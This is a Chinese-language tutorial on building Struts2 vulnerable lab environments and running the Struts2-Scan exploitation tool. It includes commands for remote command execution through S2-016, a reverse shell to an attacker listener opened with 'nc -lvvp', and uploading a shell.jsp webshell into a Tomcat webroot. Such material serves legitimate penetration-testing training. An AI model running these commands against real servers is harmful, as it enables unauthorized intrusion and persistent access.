Struts2-Scan与漏洞环境搭建:完整测试环境配置教程
Struts2-Scan与漏洞环境搭建完整测试环境配置教程【免费下载链接】Struts2-ScanStruts2全漏洞扫描利用工具项目地址: https://gitcode.com/gh_mirrors/st/Struts2-ScanStruts2-Scan是一款功能强大的Struts2全漏洞扫描利用工具能够帮助安全测试人员快速检测和验证Struts2框架中的各类高危漏洞。本教程将详细介绍如何搭建完整的Struts2漏洞测试环境以及如何使用Struts2-Scan工具进行漏洞扫描与利用让你轻松掌握Struts2漏洞的测试方法。一、Struts2-Scan工具简介1.1 工具功能特点Struts2-Scan是基于互联网公开的Struts2高危漏洞EXP开发的扫描利用工具具有以下特点全面的漏洞覆盖支持S2-001、S2-003、S2-005、S2-007、S2-008、S2-009、S2-012、S2-013、S2-015、S2-016、S2-019、S2-029、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、S2-052、S2-053、S2-devMode、S2-057等多种Struts2漏洞的扫描与利用。丰富的利用功能支持单个URL漏洞检测和批量URL检测可指定漏洞进行利用能够获取WEB路径、执行命令、反弹shell和上传文件等操作不同漏洞支持的功能有所差异。1.2 运行环境要求使用Struts2-Scan工具需要满足以下环境要求Python3.6.X及其以上版本。安装必要的第三方库click、requests、bs4。推荐测试环境Ubuntu 16.04。二、Struts2-Scan工具获取与安装2.1 工具获取通过以下命令克隆Struts2-Scan项目仓库git clone https://gitcode.com/gh_mirrors/st/Struts2-Scan2.2 安装依赖库进入项目目录使用pip命令安装所需的第三方库cd Struts2-Scan pip install click requests bs4三、Struts2漏洞环境搭建3.1 本地WAR包环境部署项目中提供了多个Struts2漏洞环境的WAR包存放在“Struts2环境”目录下包括S2-001.war、S2-003.war、S2-005.war、S2-005_2.war、S2-007.war、S2-008.war、S2-009.war、S2-012.war、S2-013.war、S2-015.war、S2-016.war、S2-019.war、S2-032.war、S2-037.war、S2-045.war等。你可以将这些WAR包部署到Tomcat等Web服务器中搭建本地漏洞测试环境。具体部署步骤如下下载并安装Tomcat服务器建议使用与漏洞环境兼容的版本。将WAR包复制到Tomcat的webapps目录下。启动Tomcat服务器WAR包会自动解压部署。通过访问“http://localhost:8080/漏洞环境名称”即可访问相应的漏洞环境。3.2 Docker环境部署除了本地WAR包部署还可以使用Docker快速搭建Struts2漏洞环境。“Struts2环境/其他环境.txt”文件中提供了部分漏洞环境的Docker部署命令例如S2-029环境docker pull medicean/vulapps:s_struts2_s2-029 docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-029S2-033环境docker pull medicean/vulapps:s_struts2_s2-033 docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-033S2-045环境docker pull medicean/vulapps:s_struts2_s2-045 docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-045按照上述命令替换相应的漏洞名称即可拉取并运行对应的Docker镜像快速搭建漏洞环境。四、Struts2-Scan工具使用方法4.1 工具参数说明Struts2-Scan工具提供了丰富的命令行参数使用“python3 Struts2Scan.py -h”命令可以查看所有参数说明Usage: Struts2Scan.py [OPTIONS] Struts2批量扫描利用工具 Options: -i, --info 漏洞信息介绍 -v, --version 显示工具版本 -u, --url TEXT URL地址 -n, --name TEXT 指定漏洞名称, 漏洞名称详见info -f, --file TEXT 批量扫描URL文件, 一行一个URL -d, --data TEXT POST参数, 需要使用的payload使用{exp}填充, 如: nametestpasswd{exp} -c, --encode TEXT 页面编码, 默认UTF-8编码 -p, --proxy TEXT HTTP代理. 格式为http://ip:port -t, --timeout TEXT HTTP超时时间, 默认10s -w, --workers TEXT 批量扫描进程数, 默认为10个进程 --header TEXT HTTP请求头, 格式为: key1value1key2value2 -e, --exec 进入命令执行shell --webpath 获取WEB路径 -r, --reverse TEXT 反弹shell地址, 格式为ip:port --upfile TEXT 需要上传的文件路径和名称 --uppath TEXT 上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp -q, --quiet 关闭打印不存在漏洞的输出只保留存在漏洞的输出 -h, --help Show this message and exit.4.2 常用功能示例4.2.1 查看漏洞详细信息使用“--info”参数可以查看工具支持的所有漏洞详细信息包括影响版本、请求方式、支持功能等python3 Struts2Scan.py --info4.2.2 单个URL漏洞检测使用“-u”参数指定单个URL进行漏洞扫描python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action工具会自动检测该URL是否存在支持的Struts2漏洞并输出检测结果。4.2.3 批量URL漏洞检测使用“-f”参数指定包含多个URL的文件进行批量扫描python3 Struts2Scan.py -f urls.txt其中urls.txt文件中一行一个URL。4.2.4 指定漏洞进行命令执行使用“-n”参数指定漏洞名称结合“--exec”参数可以进入命令执行shellpython3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec在命令执行shell中可以输入系统命令进行执行。4.2.5 获取WEB路径使用“--webpath”参数可以获取目标服务器的WEB路径python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath4.2.6 反弹shell使用“--reverse”参数指定反弹shell的地址和端口可以获取目标服务器的shellpython3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --reverse 192.168.100.8:8888需要在本地监听指定的端口如使用“nc -lvvp 8888”命令。4.2.7 上传文件项目中提供了用于上传的shell.jsp文件使用“--upfile”和“--uppath”参数可以将文件上传到目标服务器python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp五、总结通过本教程的学习你已经了解了Struts2-Scan工具的功能特点、获取安装方法以及如何搭建Struts2漏洞测试环境和使用工具进行漏洞扫描与利用。Struts2-Scan工具为Struts2漏洞的测试提供了便捷高效的解决方案帮助安全测试人员更好地发现和验证漏洞。在实际使用过程中请遵守相关法律法规仅在授权的环境中进行测试。【免费下载链接】Struts2-ScanStruts2全漏洞扫描利用工具项目地址: https://gitcode.com/gh_mirrors/st/Struts2-Scan创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2566702.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!